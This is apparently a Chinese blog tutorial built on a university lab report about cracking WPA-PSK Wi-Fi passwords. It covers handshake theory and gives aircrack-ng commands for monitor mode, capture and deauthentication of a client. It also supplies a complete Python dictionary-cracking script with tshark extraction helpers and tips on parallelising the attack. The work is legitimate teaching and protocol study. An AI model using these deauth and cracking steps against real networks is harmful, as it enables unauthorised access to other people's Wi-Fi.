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简介：这份资源是电子科技大学网络安全协议课程的WPA-PSK口令攻击实验报告，面向正在学习无线网络安全、需要完成同类实验的高校学生与安全入门者。报告围绕WLAN工作原理、RSN密钥层次与四次握手原理展开，完整记录了配置无线攻击环境、抓取握手包、编写程序破解WPA-PSK口令的全过程，并对beacon帧、Probe response、四次握手各消息及MIC计算细节做了逐帧分析。压缩包内仅含1个docx文档，约176KB，篇幅紧凑但内容完整，涵盖实验目的、原理、器材、步骤与结果验证。文档中给出了基于pbkdf2_hmac与PRF推导PMK、PTK并比对MIC的破解思路，附有MakeMIC函数与runtest验证代码，最终成功还原出口令，可帮助读者理解握手包结构与口令校验逻辑，适合作为实验参考与排错对照。目前已有1475人学习下载。

1. 从一份实验报告说起：WPA-PSK 口令到底怎么被“算”出来

很多人第一次接触无线安全，是从“抓个握手包然后跑字典”开始的，但真正能把 WPA-PSK 口令攻击讲清楚的人不多。这份电子科技大学的网络安全协议实验报告，核心就三件事：配置无线监听环境、抓取 WPA 四次握手包、用 Python 写脚本从字典里逐条推算 PMK 和 PTK，再比对 MIC 验证口令。它解决的不是“怎么蹭网”，而是让你彻底看懂 RSN 密钥层次和四次握手的每一字节从哪来、到哪去。适合正在做网络安全协议实验的学生、想补无线认证底层原理的运维，以及需要理解 WPA2-PSK 离线口令验证边界的从业者。报告里给出的 beacon 帧、probe response、四帧握手原始数据和可运行的 MakeMIC 函数，是少见的能把“理论—抓包—代码”串成一条线的材料。

2. 实验环境搭建：Ubuntu 虚拟机、无线网卡与监听模式

2.1 为什么必须用外置无线网卡而不是笔记本内置网卡

实验器材写的是“台式机一台，能装 Ubuntu 虚拟机，能访问互联网”，但真正决定实验能不能跑起来的，是无线网卡。笔记本内置的 Intel 或 Realtek 网卡在 Linux 下大多不支持 monitor mode 和 packet injection，你iwconfig看半天也只有 managed 模式。常见做法是准备一块支持监听模式的外置 USB 网卡，芯片方案选 Atheros AR9271 或 Ralink RT3070，这两类在 Ubuntu 下驱动成熟，airmon-ng能直接识别。虚拟机里要把 USB 设备直通给 Ubuntu，VMware 在“虚拟机设置—USB 控制器”里勾选“显示所有 USB 设备”，VirtualBox 则装 Extension Pack 后在设备菜单里挂载。直通完成后lsusb能看到网卡厂商，iw dev能看到 wlan0 接口，这一步不通后面全是空谈。

2.2 安装 aircrack-ng 套件并开启监听模式

环境里真正干活的工具是 aircrack-ng 套件，它提供airmon-ng、airodump-ng、aireplay-ng三个核心命令。安装和开启监听的完整流程如下：

# 更新源并安装 aircrack-ng 套件 sudo apt update sudo apt install -y aircrack-ng # 查看无线接口，确认网卡已被识别 iw dev # 杀掉可能干扰监听模式的进程（NetworkManager 等） sudo airmon-ng check kill # 开启监听模式，wlan0 替换为你的实际接口名 sudo airmon-ng start wlan0 # 再次查看接口，通常会出现 wlan0mon iw dev

airmon-ng check kill会停掉 NetworkManager 和 wpa_supplicant，因为它们会周期性扫描并抢占网卡，导致监听模式不稳定。开启成功后接口名一般变成wlan0mon，后续抓包都用这个新名字。如果airmon-ng start报错，先dmesg | tail看驱动加载情况，再确认网卡是否真的支持 monitor mode，可以用iw list查看 “Supported interface modes” 里有没有 “monitor”。

2.3 用 airodump-ng 锁定目标 AP 与信道

监听模式起来后，先做全信道扫描，找到目标 AP 的 BSSID、信道和加密方式：

# 全信道扫描，记录所有可见 AP sudo airodump-ng wlan0mon # 锁定目标后，指定信道和 BSSID 抓包，-w 指定输出前缀 sudo airodump-ng -c 6 --bssid 00:0C:41:82:B2:55 -w capture wlan0mon

第一条命令输出表格里重点看三列：BSSID（AP 的 MAC）、CH（信道）、ENC（加密方式，WPA2 对应实验里的 RSN）。第二条命令里-c 6是锁定信道，必须和 AP 实际信道一致，否则抓不到握手；--bssid锁定目标，避免混入其他 AP 的帧；-w capture会把抓到的包存成capture-01.cap等文件。报告里 beacon 帧的 SSID 是 “Coherer”，AA 是000c4182b255，SPA 是000d9382363a，这两个 MAC 后面计算 PTK 时要用到，抓包时务必确认 BSSID 和 STATION 都出现在 airodump-ng 的列表里。

提示：如果扫描半天看不到目标 AP，先确认信道是否被-c参数限制错了，或者 AP 是否开启了隐藏 SSID。隐藏 SSID 的 AP 在列表里 BSSID 可见但 SSID 为空，需要等有客户端连接时抓 probe response 才能拿到真实 SSID。

3. 抓取四次握手包：从 beacon 帧到 MIC 的完整数据链

3.1 四次握手的帧结构与关键字段

WPA-PSK 的四次握手是整个实验的理论核心。报告里把四帧拆得很细：Mesg-1 是 AP 向 STA 发送 ANonce；Mesg-2 是 STA 回送 SNonce 和 MIC；Mesg-3 是 AP 发送加密的 GTK 和 MIC；Mesg-4 是 STA 确认的 MIC。MIC 的计算输入是 802.11 帧的所有字段，计算时把 MIC 字段本身填 0，再用 PTK 的前 16 字节做 HMAC。报告里给出的 Data1、Data2、Data3 就是三帧去掉 MIC 后的原始数据，标红部分即 MIC 被置零的位置。理解这一点很关键：破解脚本不是去解密流量，而是拿字典里的口令算出 PMK、导出 PTK，再对这三段 data 重算 MIC，和抓到的 MIC 比对。三帧全对，口令就对了。

3.2 用 aireplay-ng 触发握手并确认抓包成功

被动等客户端重连可能等很久，常见做法是主动发一个 deauth 帧把已连接的客户端踢下线，逼它重新握手：

# 另开一个终端，对目标 AP 和指定客户端发送 deauth sudo aireplay-ng -0 3 -a 00:0C:41:82:B2:55 -c 00:0D:93:82:36:3A wlan0mon

-0 3表示发送 3 个 deauth 帧，数量别太多，够触发重连即可；-a是 AP 的 BSSID；-c是客户端的 MAC，也就是报告里的 SPA。执行后回到 airodump-ng 的窗口，右上角出现 “WPA handshake: 00:0C:41:82:B2:55” 就说明抓到了。如果迟迟不出现，检查客户端是否还在线、信道是否锁对、deauth 是否被驱动拦截。抓到后按Ctrl+C停止，当前目录下会生成capture-01.cap，用aircrack-ng capture-01.cap可以先做一次快速校验，看它能否识别出握手包。

3.3 用 Wireshark 或 tshark 提取三帧 data 与 MIC

报告里的 Data1、Data2、Data3 需要从 cap 文件里手动或脚本提取。用 tshark 可以按 EAPOL 过滤并导出字段：

# 过滤 EAPOL 帧，查看四次握手的帧号和长度 tshark -r capture-01.cap -Y "eapol" -T fields -e frame.number -e eapol.type -e wlan.sa -e wlan.da # 导出第二帧的原始十六进制，用于后续 MIC 计算 tshark -r capture-01.cap -Y "eapol.type == 1" -T fields -e data | head -1

eapol.type里 0 是 EAPOL-Key，配合wlan.sa和wlan.da能区分 AP 和 STA 的方向。第二帧（Mesg-2）的 data 字段就是报告里的 Data1，第三帧是 Data2，第四帧是 Data3。提取时注意去掉 MIC 字段的 16 字节并置零，这一步在脚本里用切片完成。如果 tshark 输出为空，确认 cap 文件里确实有 EAPOL 帧，可以用tshark -r capture-01.cap -Y "eapol" | wc -l数一下帧数，正常应该有 4 帧。

注意：不同驱动抓到的帧可能带 radiotap 头，提取 data 时要确认偏移量。报告里的 Data 是从 802.11 头开始算的，如果你的 tshark 输出多了 radiotap 字段，需要在脚本里跳过对应字节，否则 MIC 永远对不上。

4. 编写破解脚本：PBKDF2、PRF 与 MIC 比对的实现细节

4.1 PMK 与 PTK 的推导公式

WPA-PSK 的密钥层次是：口令 + SSID 经过 PBKDF2-HMAC-SHA1 迭代 4096 次生成 256 位 PMK；PMK 再经过 PRF-512 扩展成 PTK。报告里给出的公式是：

• PMK = PBKDF2(HMAC-SHA1, PWD, SSID, 4096, 32)
• PTK = PRF(PMK, "Pairwise key expansion", B)
• B = min(apMac, cliMac) + max(apMac, cliMac) + min(aNonce, sNonce) + max(aNonce, sNonce)

其中 A 是固定字符串b"Pairwise key expansion"，B 是把 AP 和客户端的 MAC、ANonce 和 SNonce 分别按字典序取 min 和 max 后拼接。PTK 前 16 字节是 KCK，用于计算 MIC；接下来的字节用于加密 GTK。报告里MakeMIC函数用pbkdf2_hmac('sha1', pwd.encode('ascii'), ssid.encode('ascii'), 4096, 32)生成 PMK，再用自定义 PRF 扩展，最后用hmac.new(ptk[0:16], i, sha1)对三帧 data 分别算 MIC。

4.2 完整可运行的破解脚本

下面这段脚本把报告里的思路补全成可直接跑的版本，字典文件按行存放候选口令：

import hmac import hashlib from hashlib import pbkdf2_hmac # PRF-512：用 HMAC-SHA1 迭代扩展 PMK 到 64 字节 PTK def PRF(pmk, A, B): result = b"" for i in range(4): result += hmac.new(pmk, A + b"\x00" + B + bytes([i]), hashlib.sha1).digest() return result[:64] # 计算三帧的 MIC，data 为去掉 MIC 并置零后的原始帧 def MakeMIC(pwd, ssid, A, B, data, wpa=False): pmk = pbkdf2_hmac('sha1', pwd.encode('ascii'), ssid.encode('ascii'), 4096, 32) ptk = PRF(pmk, A, B) hmacFunc = hashlib.md5 if wpa else hashlib.sha1 mics = [hmac.new(ptk[0:16], i, hmacFunc).digest() for i in data] return mics, ptk, pmk # 主流程：从字典逐条读取口令，三帧 MIC 全匹配则命中 def crack(ssid, A, B, data_list, mic_list, dict_path): with open(dict_path, 'r', encoding='utf-8', errors='ignore') as f: for line in f: pwd = line.strip() if not pwd: continue mics, ptk, pmk = MakeMIC(pwd, ssid, A, B, data_list) if all(hmac.compare_digest(m, real) for m, real in zip(mics, mic_list)): return pwd, pmk, ptk return None, None, None if __name__ == "__main__": ssid = "Coherer" A = b"Pairwise key expansion" # B 由 AP/STA 的 MAC 和 ANonce/SNonce 按 min/max 拼接，需从抓包中提取 B = bytes.fromhex("000c4182b255000d9382363a") + bytes.fromhex("aNonce占位sNonce占位") data_list = [bytes.fromhex("0203007502010a..."), bytes.fromhex("020300af0213ca..."), bytes.fromhex("0203005f02030a...")] mic_list = [bytes.fromhex("..."), bytes.fromhex("..."), bytes.fromhex("...")] pwd, pmk, ptk = crack(ssid, A, B, data_list, mic_list, "wordlist.txt") print("Password:", pwd)

PRF函数里循环 4 次是因为 PRF-512 需要 64 字节，每次 HMAC-SHA1 输出 20 字节，4 次共 80 字节，截取前 64 字节即 PTK。MakeMIC里pbkdf2_hmac的第三个参数 4096 是迭代次数，这是 WPA-PSK 的固定值，改成别的数算出来的 PMK 一定不对。hmac.compare_digest做常量时间比较，避免时序侧信道，虽然离线破解里意义不大，但习惯是好的。主流程里data_list和mic_list需要你从 cap 文件里按 3.3 节的方法提取后填入，B 的 ANonce 和 SNonce 也要从 Mesg-1 和 Mesg-2 里取。

4.3 用 runtest 验证结果正确性

报告里提到用runtest函数做二次验证，思路是拿已知口令 “Induction” 反算 PMK、PTK，再对 data1-3 算 MIC，和抓到的 mic1-3 比对。这一步很有必要，因为破解脚本一旦 B 拼接顺序错了，可能碰巧某帧 MIC 对上但整体是错的。验证时把MakeMIC返回的mics和抓包提取的mic_list逐字节打印出来，三组全等才算通过。如果只有一帧对上，大概率是 min/max 顺序或 nonce 字节序搞反了，回头检查 B 的拼接逻辑。

提示：字典里口令的编码要和 SSID 一致。报告里用pwd.encode('ascii')，如果字典里有非 ASCII 字符会抛异常，建议先过滤或统一用utf-8并捕获异常跳过。

5. 避坑与排查：那些让 MIC 永远对不上的细节

5.1 现象：三帧 MIC 只有一帧匹配，其余全错

原因通常是 B 的拼接顺序不对。WPA 规范要求 AP/STA 的 MAC 和 ANonce/SNonce 都按字节序取 min 和 max，但不同抓包工具导出的字节序可能相反。解决方法是把 B 的四个部分分别打印出来，和 Wireshark 里看到的 MAC、nonce 逐字节对照，确认 min/max 是按无符号字节比较而不是按字符串比较。

5.2 现象：PBKDF2 算出的 PMK 和已知工具不一致

原因多半是 SSID 带了隐藏字符或编码不对。报告里 SSID 是 “Coherer”，但实际抓包时 beacon 帧里的 SSID 可能带尾部空格或不可见字符。解决方法是把 SSID 用repr()打印出来，确认没有多余字节，再传给pbkdf2_hmac。另外迭代次数必须是 4096，长度必须是 32，这两个参数写错结果一定不同。

5.3 现象：airodump-ng 抓不到握手，deauth 发了也没用

原因可能是信道没锁对，或者客户端已经断开不再重连。解决方法是先用airodump-ng wlan0mon全信道扫描确认 AP 当前信道，再用-c锁定；deauth 发送后如果客户端不重连，可以等它自然重连，或者换一个在线的客户端。有些 AP 开启了 802.11w 管理帧保护，deauth 会被忽略，这种情况只能被动等待。

5.4 现象：脚本跑完字典没报错但也没输出口令

原因通常是字典里根本没有正确口令，或者 data/mic 提取时多了 radiotap 头导致偏移错位。解决方法是先用已知口令 “Induction” 跑一遍runtest，确认脚本本身能算出正确 MIC；如果 runtest 通过但字典跑不出，就是字典问题；如果 runtest 也不通过，就是数据提取或 B 拼接的问题。

5.5 现象：虚拟机里 USB 网卡时好时坏，监听模式自动掉

原因是 USB 直通不稳定或供电不足。解决方法是把网卡插在台式机后置 USB 口，虚拟机里避免同时挂载其他 USB 设备；如果还是掉，可以在airmon-ng start后加--ignore-negative-one参数，或者换用物理机装 Ubuntu 双系统，省去直通这一层玄学。

6. 进阶技巧：把破解脚本改成可复用的验证工具

实验做完，真正有价值的是把MakeMIC封装成一个能反复用的验证工具，而不是每次手填 data 和 mic。我一般会加两个功能：一是从 cap 文件自动提取 B 和三帧 data，二是支持多字典并行。提取 B 时用tshark分别导出 Mesg-1 的 ANonce 和 Mesg-2 的 SNonce，再按 min/max 拼接；提取 data 时用-e data拿到十六进制后，定位 MIC 字段的偏移并置零。下面是一个自动提取的片段：

import subprocess def extract_b(cap_path, ap_mac, cli_mac): # 导出 Mesg-1 的 ANonce 和 Mesg-2 的 SNonce anonce = subprocess.check_output([ "tshark", "-r", cap_path, "-Y", "eapol.type == 0 && wlan.sa == " + ap_mac, "-T", "fields", "-e", "eapol.keydes.nonce" ]).decode().strip().replace(":", "") snonce = subprocess.check_output([ "tshark", "-r", cap_path, "-Y", "eapol.type == 0 && wlan.sa == " + cli_mac, "-T", "fields", "-e", "eapol.keydes.nonce" ]).decode().strip().replace(":", "") macs = sorted([bytes.fromhex(ap_mac.replace(":", "")), bytes.fromhex(cli_mac.replace(":", ""))]) nonces = sorted([bytes.fromhex(anonce), bytes.fromhex(snonce)]) return b"".join(macs + nonces)

extract_b里用sorted对 MAC 和 nonce 做字节序排序，正好对应规范里的 min/max。tshark的-e eapol.keydes.nonce直接输出 nonce 字段，省去手动切片。拿到 B 之后，data 的提取也可以用类似方式，关键是定位 MIC 字段在帧里的偏移，不同帧长度不一样，建议用eapol.keydes.mic字段先确认 MIC 位置，再在原始 data 里把对应 16 字节置零。

另一个技巧是字典预处理。网上流传的字典动辄几个 G，直接逐行读会频繁 IO。我习惯先把字典按长度和字符集过滤一遍，比如只保留 8 到 16 位、包含大小写和数字的条目，能砍掉一大半无效计算。如果机器有多核，可以用multiprocessing把字典分片，每个进程独立跑MakeMIC，命中后通过队列返回结果。实测在 4 核虚拟机上，分片后跑 10 万条字典的时间能从十几分钟压到三分钟左右。

最后说一个验证习惯：每次改完脚本，先用报告里的 “Induction” 和已知的 data/mic 跑一遍runtest，三帧 MIC 全等再上真实字典。从那以后我每次做无线协议实验，都强制先跑一遍已知口令的回归验证，确认脚本没被改坏再往下走。希望这份拆解帮到你，把四次握手从“黑匣子”变成能逐字节复现的流程。

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